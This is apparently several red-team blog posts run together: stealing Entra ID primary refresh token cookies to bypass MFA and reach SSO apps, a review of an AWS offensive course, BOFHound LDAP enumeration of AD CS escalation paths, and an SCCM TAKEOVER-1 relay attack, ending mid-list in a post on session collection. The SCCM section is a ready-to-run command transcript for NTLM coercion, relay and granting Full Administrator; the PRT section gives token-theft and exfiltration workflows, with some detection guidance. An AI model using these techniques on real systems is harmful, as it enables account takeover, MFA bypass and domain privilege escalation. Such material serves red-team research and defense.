About five years ago, Lee Chagolla-Christensen shared a blog detailing the research and development process behind his RequestAADRefreshToken proof-of-concept (POC). In short, on Entra ID joined (including hybrid joined) hosts, it’s possible to obtain a primary refresh token (PRT) cookie from the logged in user’s logon session, enabling an attacker to satisfy single-sign-on (SSO) requirements to cloud resources. Dirk-jan Mollema has also blogged about this capability, where he noted that these PRT cookies (and access tokens requested with them) may contain the multi-factor authentication (MFA) claim — enabling the attacker to access MFA-protected resources.

For a capability that has been publicly known for half a decade, I’ve seen shockingly little online reference to it. I’m not sure if the frequency at which I encounter cloud/hybrid joined devices has recently increased or if I was sleeping on this capability for literal years (more likely), but this tradecraft has been a serious crutch on red team operations in the last six months. While some teams out there are undoubtedly reaping the benefits of this tradecraft during routine operations, I think there are probably quite a few operators out there who, like me, came across the prior works I’ve linked to but didn’t immediately connect the dots.

This blog won’t contain any truly new information or research, but it will try to distill some operationally-focused knowledge that I learned while fumbling through this tradecraft over the last year.

Situational Awareness

A new beacon has called back to your C2 server and you want to know if this blog is applicable to you! This tradecraft will work from device joined hosts — hosts that are either Entra ID joined (cloud-only join) or hybrid joined (joined to both Entra ID and on-premises AD), so we need to identify the join state.

Relevant join information, including the join type, can be obtained by calling NetGetAadJoinInformation from NetApi32.dll. I created a small Beacon object file (BOF) to call the API, which can be found in this PR to the TrustedSec situational awareness (SA) BOF repo. We’re looking for the “Device join” join type (as opposed to workplace join, where an Entra ID work/school account is added to the device but the device isn’t joined to Entra ID).

Some of the other information can be useful, including the tenant ID and user join information, which reveals some details about the account that was leveraged to perform the Entra ID device join (in this case, the same account I’m logged in with locally in the lab, but that is not guaranteed to always align).

Note: I’m using Havoc and its demon agent for C2 in my lab environment since it’s easy to set up, there’s no licensing to mess with, and it nicely approximates some relevant capabilities of commercial frameworks; however, the tradecraft discussed in this post is C2-agnostic. Most if not all of the tools that are referenced already have Cobalt Strike aggressor scripts or can be easily hooked into your C2 of choice.

We can also get most of this information from the registry under the key HKLM\SYSTEM\CurrentControlSet\Control\CloudDomainJoin. If present, its values hold information on the device join state and associated Entra ID tenant. An easy approach is to use TrustedSec’s SA reg_query_recursive BOF to surface the interesting values that are stored there.

The JoinInfo key won’t be present on workplace joined hosts, so just the presence of that key and its values should indicate we’re on a host that is device joined.

Alright; we’ve determined the host is Entra ID joined (cloud only in my lab), so the next question is, “What work or school accounts are added to the device?” Or, “What accounts can I obtain refresh token cookies for?”

Initially, this seems like it should be a 1:1 relationship with the account our agent is running in the context of. It probably will be in most cases; however, I’ve encountered production environments where we were able to obtain refresh tokens for multiple Entra ID accounts associated with the compromised user’s logon session. This can happen if the user has added multiple “work or school” accounts within System Settings. Envision a scenario involving a user who has been provisioned a separate admin account; if the user adds both their standard Entra ID account and admin Entra ID account to their user profile, now from the standard user account logon session our agent is running in, we can obtain a refresh token for both accounts. I’ve attempted to mimic this in my lab setup (I’m logged in on the box as MattC@specterdev.onmicrosoft.com and the agent is running as this account), but I’ve also connected a second account to my profile (i.e., admin-mattc@specterdev.onmicrosoft.com) within System Settings.

Note: In these scenarios where multiple work/school accounts are in play, you can obtain a PRT for the account the user is locally logged in with and can obtain a refresh token for the other account(s). I’ll cover this more in the next section.

Finding a C2-friendly way to enumerate which work/school accounts have been added to the user’s profile has proven to be the most difficult part of putting these tradecraft notes together. If you’re familiar with enumerating cloud-joined or hybrid-joined devices, you probably know that you can use dsregcmd.exe to enumerate the information we’ve discussed thus far, and it can also be used to list “web account manager (WAM) accounts.” If you are unfamiliar with the WAM, it is a technology on Windows that allows software such as the Microsoft Authentication Library (MSAL) to acquire tokens for cloud-based accounts. These cloud-based accounts include Entra ID accounts, AD FS accounts (which are sometimes referred to as “Enterprise” accounts), personal Microsoft accounts, and Microsoft work or school accounts. The dsregcmd.exe utility will collectively call all of these account types “WAM accounts” because the WAM can acquire tokens for all of them. The phrase “WAM account” is seldom used elsewhere and “cloud-based accounts” may be a more appropriate phrase, but we will stick with using “WAM account” in this blog to stay consistent with the output of the dsregcmd.exe utility.

If we’re feeling into process creation and/or spawning cmd.exe, we can leverage dsregcmd.exe with the /listaccounts flag to enumerate WAM accounts that have been added (or the /status flag to enumerate the device’s join state).

I can feel the collective boos raining in.

You’re right. Unfortunately, the one function dsregcmd.exe imports from dsreg.dll is undocumented, as are all the other interestingly named exports dsreg.dll has. Reversing those functions to figure out how they can be called from a BOF is way beyond my ability. This left me trying to find other documented ways to query the web account manager. I found three ways I might approach this:

1. Using .NET projections of the Windows Runtime (WinRT), including the WebAuthenticationCoreManager .NET class [1, 2]

2. Using C++/WinRT or C APIs to access these same WinRT classes [1, 2]

3. Using component object model (COM) [1, 2]

My personal preference is to leverage BOFs over .NET assemblies wherever possible. I was also unsure of the viability of using C++/WinRT in a BOF, so I opted for option three: using COM. Several vibe coding sessions later, I patched enough working BOF code together to list the WAM accounts that were added to the current user profile.

The BOF code, along with some POC code to enumerate added WAM accounts in .NET and C++/WinRT, can be found in this repo.

Now that we’ve been responsible operators and confirmed the device join state and WAM accounts that are present, we can continue forward!

Note: My coworkers Evan McBroom and Kai Huang adeptly figured out how to call the undocumented DsrCLI API that dsregcmd.exe calls. You can find an implementation of their work here, which provides operators another option for performing these enumeration steps!

Requesting and Leveraging the PRT Cookie

Finally, the exciting part. Lee’s original RequestAADRefreshToken code was ported to a BOF by wotwot563 in their aad_prt_bof repo. This is trivial to use from our C2 agent and all we need to supply is a nonce for the request. We can obtain a nonce by running roadtx from Dirk-jan’s ROADtools project.

Take the nonce back to your agent and execute the aadprt BOF to obtain a PRT cookie (if you’re following along in the lab, the Havoc script that wraps the BOF can be found in this PR, but the repo already contains an OutflankC2 script and a Cobalt Strike aggressor script you can use. The PR also contains modifications to output the cookies as a JSON blob).

You’ll likely get back a x-ms-RefreshTokenCredential and a x-ms-DeviceCredential for each account. If you obtain more than one token, you’ll see a x-ms-RefreshTokenCredential, then a x-ms-RefreshTokenCredential1, and so on. The refresh token credential(s) are what we’ll be leveraging for post-exploitation. The PR also spits out the cookies in a JSON blob as a quality of life improvement for the next section.

Using the Browser

Each time I’ve performed this in production, any MFA requirement that was present was already satisfied by the tokens that were returned (more on that in the next section). To demonstrate, if I try to logon to the Azure portal with my test account’s username and password, I’m prompted for my MFA method.

Note: We will still need to satisfy all conditional access policies (CAPs) to sign in. At a minimum, this usually involves coming from a trusted IP address. So you’ll likely need to use Proxifier on Windows (or a similar solution) to tunnel your browser traffic through your C2 agent before it goes back out to Microsoft. That is outside the scope of this blog and will be left up to you.

Let’s inject the refresh token cookies from the aadprt BOF into a browser on our operator VM, confirm that we satisfy the MFA policy for our lab environment, and that we can access resources behind SSO. Lee’s blog has the steps to do this manually using Chrome’s developer tools; however, after doing this multiple times per day for multi-week operations, it gets pretty tiresome. My coworker Forrest Kasler has some slick scripts to steal cookies via the Chrome remote debugger and inject them into a new instance of Chromium. We can throw the JSON blob we received from the aadprt BOF into a file and feed the file into a script from Forrest’s collection (i.e., stealer.js), which will add the cookies to our browser and open https://login.microsoftonline.com.

Now, if I open a new tab and browse to the Azure Portal in this Chromium session, it’ll briefly redirect to login.microsoftonline.com and then I’ll be logged into that resource as well without receiving a prompt for MFA.

We can leverage this same workflow to access Microsoft cloud services and apps (e.g., Azure, Teams, SharePoint, etc.) but we can also authenticate to third-party apps configured to leverage SSO. Common examples include applications such as Confluence and Jira, ServiceNow (which MDSec recently blogged about the usefulness of), CyberArk, and even custom internal apps configured to use SSO. When I first realized this, I was curious how to enumerate other third-party services the target tenant tied into SSO. Outside of downloading and reviewing browser history databases, one way is to check for app registrations in Azure. We can do this graphically in the Azure portal, or use ROADrecon data (more on this in a moment) to identify services in its “Applications” pane that contain “Reply URLs.” Here’s an example of the app registration data that was collected for a tenant’s confluence app.

If we navigate to the reply URL in our browser while we have a valid refresh token cookie, we’ll satisfy the SSO requirement and we’ll be logged in (provided that the user we have a token for is granted access to that application).

Using [Your Favorite Entra ID/Azure Post-Ex Toolkit]

We can also leverage the refresh token to request access tokens for the Graph API, or other resources, for usage with Azure post-exploitation toolkits like ROADrecon, TokenTactics, GraphRunner, TeamFiltration, MicroBurst, ADOKit, and more.

I prefer to use roadtx for token manipulation. If we take a token from the aadprt BOF output and use the roadtx auth module, we can request access tokens by passing our refresh token cookie in via the --prt-cookie argument. That will get a token for the older Azure AD Graph by default, but other resources can be specified with the -r/--resource flag.

Now we have a Azure AD Graph access token that we could use to perform a ROADrecon data collection with.

Dirk-jan makes a point in his blog that I think is worth repeating — refresh tokens and access tokens that are requested via a PRT cookie will inherit the same claims that the original PRT cookie had. So if the PRT cookie contained the MFA claim and a device ID (since we originally obtained it on a device joined host), our access tokens will too. This is why we can continue to satisfy CAPs that require MFA or usage of a joined device.

Shifting back to the post-exploitation examples, now that the roadtx auth module has populated my auth file (i.e., .roadtools_auth), it can be fed that into another tool such as TeamFiltration to use its exfiltration modules as well.

For TeamFiltration, the --teams module gathers data including contact lists, shared attachments, and conversations. That makes it a good alternative to adding a refresh token cookie to your browser and graphically browsing Teams.

Other tools may require tokens for different resources or different clients. As an example, MicroBurst modules that gather data on Azure resources rely on the Azure PowerShell module and thus will need an access token for the Azure Resource Manager (AzureRM) that specifies the Azure CLI client ID when authenticating. We can request that access token using roadtx by specifying the associated alias for that resource and the appropriate client name.

Take the resulting access token from the .roadtools_auth file and supply it to the Connect-AzAccount cmdlet from the Az PowerShell module and you should see that it succeeds.

MicroBurst can now be imported and run via Get-AzDomainInfo (in this example, we omit enumeration for things like Entra ID users and groups, which would also require a graph token).

These are just a few examples of the token requests that can be made using different tools. There are a number of other tools you utilize for different areas of the post-exploitation, but the operational workflow will generally remain the same.

Detection Guidance

The different tools outlined during this blog for situational awareness and token requests will cause different DLLs to be loaded in an agent’s process. When these DLLs are present together within the same process, that may indicate suspicious activity:

1. aadjoininfo BOF and dsrcli BOF — Used to enumerate the device’s join state and causes C:\Windows\System32\dsreg.dll to be loaded into the beacon process

2. listwamaccounts BOF — Used to enumerate work or school accounts added to the current user profile; causes C:\Windows\System32\aadWamExtension.dll to be loaded into the beacon process

3. aadprt BOF — Used to obtain refresh token cookies. Being based on Lee’s original POC, the DLL load event he calls out for C:\Windows\System32\MicrosoftAccountTokenProvider.dll is still applicable here

On the separate device joined and workplace joined hosts I have access to, there are no running processes (outside of the beaconing demon.x64.exe process) that have loaded all three DLLs. Even examining processes on my host that have just two of these DLLs loaded shows that it’s limited to svchost.exe, OneDrive.exe, and ServiceHub.IdentityHost.exe.

This is bound to vary from environment to environment, but baselining processes that normally load two or more of these DLLs and monitoring for anomalies may be able to provide an indication of processes to review for reconnaissance and token gathering actions, like those described in this blog.

Conclusion

This blog examined how an operator can perform situational awareness steps prior to making a token request and how tokens can be effectively used once obtained. Hopefully, you’ve come away with some guidance and examples on how to leverage this tradecraft and some of the quality of life scripts/tools that may help you!

I recently finished the Breaching AWS course from CloudBreach and obtained the Offensive AWS Security Professional (OAWSP) certification. This will be a brief review of the course content and exam.

I went into this course with pretty minimal AWS experience, offensive or otherwise. I interact with AWS to deploy EC2 instances, CloudFront domains, etc. on consulting assessments, and I knew how to run aws sts get-caller-identity if I found a pair of access keys laying around.

I purchased the $799 package for the 60 days of lab access (you can’t stop/start lab time - once you click start you get X days from that point), but in hindsight I’d choose the $599 option with the minimum 30 days of lab access.

I’d estimate the course material (including labs) took me 16 hours to work through and I’ve seen others in the Discord server estimate 1-2 hours a night over 2 weeks to complete the material.

Recommendation

I would recommend the course if you are looking for a beginner AWS course or introduction to AWS exploitation. Coming out of the course, I can say I have a much better game plan for AWS recon and exploitation the next time I find a pair of access keys. However, the course does not go super in-depth anywhere, to the point I could say I’ve learned any advanced techniques or tradecraft. Nothing wrong with that, but if you already know basics of AWS resource exploitation and/or are familiar with using the AWS CLI to enumerate and abuse permissions, I’m not sure you would learn a ton of new tricks from the course.

Breaching AWS Course

The course is broken out into 13 modules in the form of a CTF, with each module generally focusing on one AWS resource type (S3, EC2, ECR, IAM, etc.) or attack (SSO phishing, SSM abuse, etc.). Each module has some content to read and then a lab to work through, loosely guided by flag prompts. Each lab also has a descriptive walkthrough if you get stuck or need a hint.

Course Pros

• The labs are the biggest pro in my opinion

  • Most of your learning is hands-on labs in a live AWS environment (limited to the CLI for the most part)

  • As you progress through the labs, you compromise different AWS accounts/roles, each with permissions scoped to the current module’s focus

  • Overall, I found the labs to be straightforward and pretty fun to solve

• Almost everything in the labs can be completed using the AWS CLI, but you’re also introduced to Pacu (and a few more situational tools), which you can optionally use throughout the course

  • While you’re not instructed much on how to use Pacu, the labs make a great environment to test it out and gain a feel for it on your own

Course Cons

• The course content to read, outside the labs, felt scarce

  • Time to read the content for each module, prior to starting the labs, probably averaged 5 minutes

• Content doesn’t include any [explicit] details that come from real-world experience of the course developers

  • How resources are commonly configured or used by enterprises

  • Resource exploitation in the labs leads to “data” compromise, always in the form of new access keys (to progress the labs, understandably), but I was often left wondering what type of data the course developers have generally found or would expect to find within different resources

  • Example: you gain unauthorized access to a simple notification service (SNS) or message broker (MQ) and pull access keys from data within. Nowhere does the course state how enterprises integrate (theoretically, or seen in the field) these AWS resources with workflows/software/applications or what you, as an offensive practitioner, might look to gain from unauthorized access to them

Breaching AWS Exam

The exam consists of a dedicated AWS environment that you need to progress through to accomplish a stated objective, within 24 hours. You have an additional 24 hours to submit a brief report with the details of your attack path.

While the course definitely prepares you for the exam, not everything in the exam is directly covered in the materials. The methodology developed through the course modules sufficiently got me through any “new” content, and I thought it was a positive to have to learn and apply something slightly new, that’s not directly covered in your prep notes. I think the exam took me roughly 3.5 hours in one sitting to complete, then I took a break before writing a small report (5 pages) to submit.

Conclusion

I didn’t find a ton of info out there on this course when I was researching it. Hopefully this review helps someone else out there!

TL;DR: BOFHound can now parse Active Directory Certificate Services (AD CS) objects, manually queried from LDAP, for review and attack path mapping within BloodHound Community Edition (BHCE).

Background

My last BOFHound-related post covered the support and usage strategies for Beacon object files (BOFs) enabling the manual collection of data required for BloodHound’s AdminTo and HasSession edges, among others. This brief post will cover the addition of AD CS object parsing (shoutout to GitHub user P-aLu for collaborating on the update) and some queries to get you started.

But first, to clear up some misconceptions…

BOFHound is not a BOF!

Surprised and/or confused? Somewhat angry? Yes, this is the most common misconception I hear about the tool. BOFHound is not a BOF implementation of SharpHound; rather, it is a Python script that runs completely offline from your target network. I repeat — it is neither a BOF, nor a tool that actively enumerates a target Active Directory (AD) network. If this is not news to you, enlightened reader, consider skipping ahead to The Good Stuff.

So What Does BOFHound Do (and Why on Earth Did You Name It That)?

BOFHound was born from repeated red team engagements in a large AD network where the blue team would flag SharpHound and other “loud” methods of LDAP enumeration. (In this environment, “loud” meant an expensive LDAP query — a query that returned a number of results over a threshold the client had determined to be indicative of attacker reconnaissance.) The team I worked with at the time adjusted by primarily relying on the ldapsearch BOF, part of TrustedSec’s situational awareness collection, for LDAP reconnaissance. This had two main benefits:

• It grants the operator full control over the LDAP query filter, meaning discretion can be used to avoid static query strings tied to common offensive tools and leveraged in detections [1, 2]

• The operator can specify a limit on the result count, so that the query returns no more than N entries; this is helpful when consciously avoiding expensive queries (result pools can also be narrowed with search scope, targeted query filters, or through a search base)

Here are some downsides to solely relying on this approach for LDAP enumeration:

• Queries only return text-based results (i.e., there is no visualization or BloodHound-like graph that many operators prefer)

• Identifying ACL abuses is essentially impossible with this approach alone

• Trying to keep track of and organize relationships between objects, like group memberships (let alone nested memberships), by hand in text/Excel files is difficult

The bigger the target environment is, the more these problems are amplified. These also all sound like problems that BloodHound was originally created to solve. Is there any way we could maintain the granular control the ldapsearch BOF offers us over enumeration and still be able to use BloodHound?

Enter BOFHound. It aims to serve this very niche need by reading LDAP objects from your ldapsearch results in C2 logs, processing them, and producing BloodHound JSON files.

Thus the name BOFHound — read output from the ldapsearch BOF in log files and make it BloodHound-usable. LogHound just doesn’t have the same ring to it, does it?

This allows for ACL relationships to be parsed (from base64 encoded nTSecurityDescriptor attributes) and for your operators to continue visualizing nodes and relationships in the BloodHound UI where they are happy.

Now you might be wondering “BloodHound collects all data [that we frequently care for] in an AD environment, so how can this work with partial data obtained from manual queries?” Well, it’s simple; the BloodHound UI will only show you what you have enumerated via manual queries and parsed with BOFHound. In other words, it will be incomplete data and, if you’re using this approach, you’re likely fine with that. We can target specific information we want to populate the graph with, such as objects related to our objectives, objects that have privileges we want to compromise, or objects that often make easy targets (i.e., AD CS, SCCM).

But BloodHound will actually show you a little more than only what you’ve queried. Object ACLs return references (SIDs) to other objects in the environment that are granted some permission over the object you queried. When you parse these ACLs without an object tied to the SID, they are represented in the graph by nodes with SIDs for names or question mark icons. For example, if I query only the domain object, run it through BOFHound, upload the result to BloodHound, and check the Inbound Object Control on the domain object, we’ll see this.

I’ve only queried the domain object, but I also now know that these six other objects exist. Knowing their SIDs provides a means to query those objects that might be of interest. As I query them and rerun BOFHound, we can slowly fill in that picture and expand it, essentially providing a way to identify objects of interest, and work backwards from them.

The Fog of War

A while back, I was talking with Jared Atkinson about BOFHound and these very misconceptions when he made a very apt analogy: clearing the fog of war. In games like Civilization or Age of Empires, you start surrounded by the “fog of war,” representing the world you know exists, but otherwise know nothing about. As you scout around, you reveal more of the map, pushing back the fog of war, and gaining more information about the game’s world.

An unsophisticated player may just send their scouts out to chart the entire map as fast as possible. This could end up being advantageous, but it could also backfire by increasing the probability of encounters the player is unprepared for (i.e., a hostile faction). A sophisticated player may choose to scout areas as it’s advantageous to them, or when they’re prepared to deal with potentially hostile discoveries.

As a prospective BOFHound user, the fog of war is the great unknown AD environment: objects, relationships, attack paths, etc. Immediately trying to chart the entire map is like trying query every AD object at once (i.e., (objectClass=*), running SharpHound); very beneficial data to have if successful, but you’re at high risk of revealing your presence to the hostile blue team. BOFHound is supposed to aid you in taking the careful, “sophisticated player” approach. Each time you manually run a batch of LDAP queries and parse/process with BOFHound, you clear a bit more of the fog and incrementally learn more about the environment you’re in. It is an iterative process (query → parse → query, etc.) until you feel you have sufficient information to take additional action or move on.

I think it goes without saying, but this approach is quite niche. If you do not care about being detected performing LDAP reconnaissance or know/think an alert will not fire for something like running SharpHound or ADExplorer, then you should run them. Having a more complete dataset will always allow you to spend your time more efficiently. I use this methodology described with BOFHound a handful of times a year, when I care about being stealthy; you really have no need for this in your playbook otherwise.

I hope this detour helped clear up some of the self-inflicted misconceptions around BOFHound’s purpose, intended usage, and name. This took up way more space than I initially intended (and became a bit rant-y), but now we can get into the AD CS updates.

The Good Stuff

In addition to the AD CS support, I recently added parsing support for Havoc log files. The rest of this blog will use the ldapsearch BOF via Havoc to demo one method of AD CS enumeration. While you’re probably not rolling out Havoc on your red team assessments, I realized only supporting log parsing for commercial C2s might otherwise turn users away from testing BOFHound in a lab. Havoc ships with an outdated version (as of 10/22/2024) of the ldapsearch BOF (needs updated for AD CS querying), but that can be easily remedied by copying the latest BOFs over to havoc/client/Modules/SituationalAwareness/ObjectFiles/and updating the ldapsearch_parse_params() function within hacov/client/Moduels/SituationalAwareness/SituationalAwareness.py to the definition in this gist.

On past assessments, I’ve typically leveraged one of the various adcs_enum BOFs included in situational awareness collection for AD CS enumeration and config analysis. These work great and I’ve used them to identify vulnerable templates and AD CS ESC paths during real-world engagements. Why bother switching enumeration playbooks? Manually analyzing a wall of certificate config text can work, but it can also be error prone, especially when it comes to trying to unroll group memberships for permissions like enrollment rights.

While it’s still all too common to find paths like ESC1 with groups such as Domain Users, Domain Computers, and Authenticated Users jumping out when checking enrollment rights, unrolling nested rights (like the path below) isn’t always so straightforward when reviewing these config dumps.

The question the remainder of the blog tries to answer — can we piece together this same picture without burning the red team by running SharpHound? My coworker Jonas Bülow Knudsen released a very informative blog about AD CS attack paths in BloodHound when they were introduced and his blog details the types of LDAP objects relied upon for mapping AD CS relationships. In short, there are six “new” types of objects we care about:

• Enterprise CAs

• AIACAs

• Root CAs

• NTAuth Stores

• Certificate Templates

• Issuance Policies

If we query these objects (and the domain object), we can graph out the attack paths. There’s no “right” way to do this with ldapsearch, but a basic approach is a sequence of queries based on object class. All the target objects are nested in the Configuration naming context — technically we could query them all at once with (objectClass=*)and a search base of CN=Cofiguration,DC=domain,DC=local. However, if you’re interested in this manual approach in the first place, you may not be interested in that sort of wide-ranging query 😉.

Here’s a sample query transcript to get you started:

# Query the domain object
ldapsearch (objectclass=domain) *,ntsecuritydescriptor

# Query Enterprise CAs
ldapsearch (objectclass=pKIEnrollmentService) *,ntsecuritydescriptor 0 3 "" "CN=Configuration,DC=domain,DC=local"

# Query AIACAs, Root CAs and NTAuth Stores
ldapsearch (objectclass=certificationAuthority) *,ntsecuritydescriptor 0 3 "" "CN=Configuration,DC=domain,DC=local"

# Query Certificate Templates
ldapsearch (objectclass=pKICertificateTemplate) *,ntsecuritydescriptor 0 3 "" "CN=Configuration,DC=domain,DC=local"

# Query Issuance Policies
ldapsearch (objectclass=msPKI-Enterprise-Oid) *,ntsecuritydescriptor 0 3 "" "CN=Configuration,DC=domain,DC=local"

If you’re new to the ldapsearch BOF (or even just its recent argument updates), here’s a quick breakdown of its positional arguments. Consider this query from the examples: ldapsearch (objectclass=pKIEnrollmentService) *,ntsecuritydescriptor 0 3 "" "CN=Configuration,DC=essos,DC=local" — what does this mean?

Here’s an example of one transcript query performed with the ldapsearch BOF via Havoc. I’m doing this enumeration across a domain trust in my lab (GOAD, from sevenkingdoms.local to essos.local), hence the explicit definition of domain controller to query and search base (even for objects in the default naming context).

After running each of the queries in the sample transcript, we can parse that minimal dataset from the Havoc loot logs with BOFHound.

bofhound -i /opt/havoc/data/loot --parser havoc --zip

After the data has been parsed, we can load up BHCE and upload the output archive.

curl -L https://ghst.ly/getbhce > docker-compose.yml
sudo docker compose pull
sudo docker compose up

In the UI, we can use some of the prebuilt queries to help us find common misconfigurations and escalation paths. I’ll start with the prebuilt Enrollment rights on ESC1 certificate templates query, which will limit the templates I view to just those that meet ESC1 requirements.

Here’s what those results look like with the objects we queried in the lab. We know the SIDs ending in 519 and 512 are Enterprise Admins and Domain Admins, but we’ve got an unknown object with a resource ID (RID) of “1602”.

If we issue an LDAP query for that mystery SID, we can determine that it’s a group (think back to the original attack path screenshot we’re working towards).

ldapsearch (objectSid=S-1–5–21–2301939034–812057587–2058894929–1602) *,ntsecuritydescriptor

That returned properties for the group granted enrollment rights, including its distinguished name, which we can use to unroll the group members.

To unroll the group’s members (return first and Nth degree members) we can take the group’s distinguished name and issue an LDAP query using the LDAP_MATCHING_RULE_TRANSITIVE_EVAL matching rule.

ldapsearch (memberOf:1.2.840.113556.1.4.1941:=CN=Nested1,CN=Users,DC=essos,DC=local) *,ntsecuritydescriptor

That query returns two results in the lab, though only one can be seen in the screenshot. However, if you look closely at the user object returned, you’ll notice the memberOf attribute doesn’t contain the Nested1 group from our query filter (meaning the object must be a Nth degree member).

Now we rerun BOFHound, same as we did before.

bofhound -i /opt/havoc/data/loot --parser havoc --zip

After we ingest the data again, rerunning the same ESC1 enrollment rights query shows the previously unknown SID with enrollment rights belonged to the Nested1 group.

This prebuilt query doesn’t unroll the group members, though. If we click the ESC1@ESSOS.LOCAL object to bring up the properties pane on the right side, we can click the Inbound Object Control section to unroll enrollment rights (and potentially other ACL-based abuses).

This reveals the path we initially examined, showing a way to perform ESC1 through nested enrollment rights. Should we return to BloodHound’s pathfinding tab and search for paths starting at MISSANDEI@ESSOS.LOCAL and ending at ESSOS.LOCAL, we now have all the data necessary to map the attack path shown at the beginning of this section (if you’re following along in GOAD, your pathfinding might surface a shorter ASCSESC3 path that you have to filter out).

BloodHound currently supports edges for ESC1, ESC3, ESC4 and ESC13. You can quickly query any escalation path abusing one of them with:

MATCH p=()-[:ADCSESC1|ADCSESC3|ADCSESC4|ADCSESC13]->()
RETURN p

Is Anything Missing?

The ManageCA and ManageCertificates edges from BloodHound are not currently implemented in BOFHound. These relationships require reading values from the registry on CAs, which would require some other “collector” and parser (something akin to how BOFHound supports AdminTo and HasSession edges). These relationships are not currently relied on for any ESC attacks that BHCE supports, but will be if or when BloodHound gains ESC7 support.

Conclusion

This post served to clear up some common misconceptions about BOFHound, introduce the ability to parse AD CS objects, and provide a starting point for querying relevant LDAP objects. I hope that the added support for Havoc makes it easier to follow along with this post in a lab and give BOFHound a try. If you encounter any bugs, please feel free to open an issue on GitHub or shoot me a message in the BloodHoundGang Slack (@Tw1sm).

TAKEOVER-1 is an SCCM privilege escalation attack documented within the Misconfiguration Manager project and originally laid out by @_Mayyhem in this blog. Those resources cover the attack in much greater detail than I will here. tl;dr: coercing NTLM authentication from a primary site server and relaying it to the site’s remote database service allows an attacker to escalate an arbitrary account to SCCM’s Full Administrator role.

This post will demonstrate using PySQLRecon to aid in performing TAKEOVER-1. The attack can be performed just fine without PySQLRecon (as documented in Misconfiguration Manager); this method just saves you a bit of SQL query copypasta.

Execution

In my lab, the SCCM site server is 10.4.10.15 and the SCCM SQL server is 10.4.10.13. We’ll start by setting up ntlmrelayx to target the mssql service on the database server.

Then coerce authentication from the site server using the printerbug (or Petit Potam, etc).

Now, back in the nltmrelayx window, we have a relay session we can leverage with PySQLRecon.

One quirk this method presents is that PySQLRecon’s —database flag will not be respected when used through the ntlmrelayx relay session; ntlmrelayx will always connect to the master database by default. However, unlike standalone PySQLRecon usage, the relay session is persistent, meaning context changes from one PySQLRecon command will still be in effect for subsequent commands. All of that is to say, our next step is changing the database context to the SCCM site database.

Now that we can interact with tables in the CM_123 database, we can use the sccm addadmin module to insert the provided user + SID into the SCCM database as a full administrator. In this case, we’ll elevate a basic domain user account.

We can verify that the modification was successful using the sccm users module.

Or by going directly into the configuration manager application and checking the administrative user settings.

After taking whatever privileged actions in SCCM, we can perform cleanup with PySQLRecon’s sccm removeadmin module, and the ID/permissions string from the addadmin module output.

Attack Transcript

# Start ntlmrelayx
sudo python3 ntlmrelayx.py -t mssql://10.4.10.13 -socks -smb2support

# Coerce auth via your preferred method
python3 printerbug.py ludus/domainuser:password@10.4.10.15 10.4.10.100/a

# Change the database context
proxychains4 poetry run pysqlrecon -t 10.4.10.13 -u 'SCCM-SITESRV$' -p FAKE -d LUDUS query --query 'use CM_123'

# Insert our user into the DB as a Full Administrator
proxychains4 poetry run pysqlrecon -t 10.4.10.13 -u 'SCCM-SITESRV$' -p FAKE -d LUDUS sccm addadmin --user 'LUDUS\domainuser' --sid S-1-5-21-2238930468-685714878-4101358463-1104 

# Confirm elevation
proxychains4 poetry run pysqlrecon -t 10.4.10.13 -u 'SCCM-SITESRV$' -p FAKE -d LUDUS sccm users

# Cleanup
proxychains4 poetry run pysqlrecon -t 10.4.10.13 -u 'SCCM-SITESRV$' -p FAKE -d LUDUS sccm removeadmin --adminid 16777223 --permissions '00000000|00000000'

References & Credits

• Misconfiguration Manager by @subat0mik, @_Mayyhem & @garrfoster

• SQLRecon by @sanjivkawa

• ludus_sccm by @synzack21

If you’ve found yourself on a red team assessment without SharpHound (maybe due to OPSEC or stealth requirements), you’d probably agree that mapping Active Directory is significantly more difficult. Tying down nested group memberships and trying to map ACL-based attack paths can become exceedingly complex outside of BloodHound’s user interface and its Cypher queries. In early 2022, Adam Brown and I released BOFHound (now being maintained in a fork) as one approach to address these difficulties. Despite the name, BOFHound is written in Python and is designed to parse raw LDAP search results out of command and control (C2) logfiles (originally from Cobalt Strike logs and the ldapsearch beacon object file [BOF]) into BloodHound compatible JSON. This allows for manual, operator-guided LDAP enumeration that can avoid triggering detection mechanisms (e.g., expensive LDAP query thresholds) that may alert on SharpHound, while still allowing for usage of BloodHound’s beloved relationship graphing.

Prior blog posts here and here contain additional background and usage examples.

Note: BOFHound is not officially affiliated with BloodHound Enterprise (BHE) or BloodHound Community Edition (BHCE), nor does the BloodHound product team support it. This is simply tooling I co-created and maintain for fairly niche LDAP enumeration scenarios.

What’s New?

One of the biggest pitfalls of BOFHound’s prior usage strategies was the total absence of user session and local group membership data. If operational requirements prevent you from running SharpHound, BOFHound previously served as a way to approximate its data collection/processing with manual LDAP queries, but did not allow for the parsing of non-LDAP data.

Of course, session and local group data have always been obtainable from a C2 implant without the use of SharpHound; for example, BOFs such as netsession, netloggedon and netLocalGroupListMembers (all part of the amazing TrustedSec situational awareness [SA] BOF collection) leave this information a few keystrokes away. However, the output data can’t be visualized in BloodHound’s interface or used in its attack path mapping, leaving information gathered up to the operator for organization and tracking.

Today, I’ve submitted a pull request to the SA BOF collection, which consists of four “new” BOFs (which are really slightly modified versions of existing SA BOFs) with BOFHound compatibility. The modded BOFs don’t include any material upgrades to their original purpose, but are more suitable for log parsing and include more verbose information for BOFHound where possible (e.g., returning member SIDs and object types alongside local group member user names). Additionally, a new version of BOFHound (0.3.0) has been released that includes logic for parsing and processing session data and local group membership data these BOFs gather.

The remainder of this post delves into BOF details and a contrived example attack path visualized using the BOFs, BOFHound, and BHCE.

Operator Guidance and Examples

I’ve configured a test domain (REDANIA.LOCAL) with three domain machines and one Cobalt Strike team server (Figure 1).

The CINTRA workstation is running our Cobalt Strike Beacon, which is where we’ll simulate reconnaissance. For the sake of time, let’s assume I already collected all the LDAP objects we’re interested in with the ldapsearch BOF, using (objectClass=*) for the filter and the default search base of DC=redania,DC=local (remember to include *,ntsecuritydescriptor as the attributes for the search to return if you want to process ACL attack paths). Obviously, if we’re running this query, we may just want to run SharpHound with the DCOnly collection method, but that’s outside the scope of this post.

SharpHound offers two collection flags (Session and LoggedOn) for sessions, which perform remote collection using three methods:

1. NetWkstaUserEnum Windows API
   - Part of SharpHound’s LoggedOn collection
   - Internally referred to as PrivilegedSessions

2. Querying the HKEY_USERS registry hive
   - Part of SharpHound’s LoggedOn collection
   - Internally referred to as RegistrySessions

3. NetSessionEnum Windows API
   - Part of SharpHound’s Session collection
   - Internally referred to as Sessions

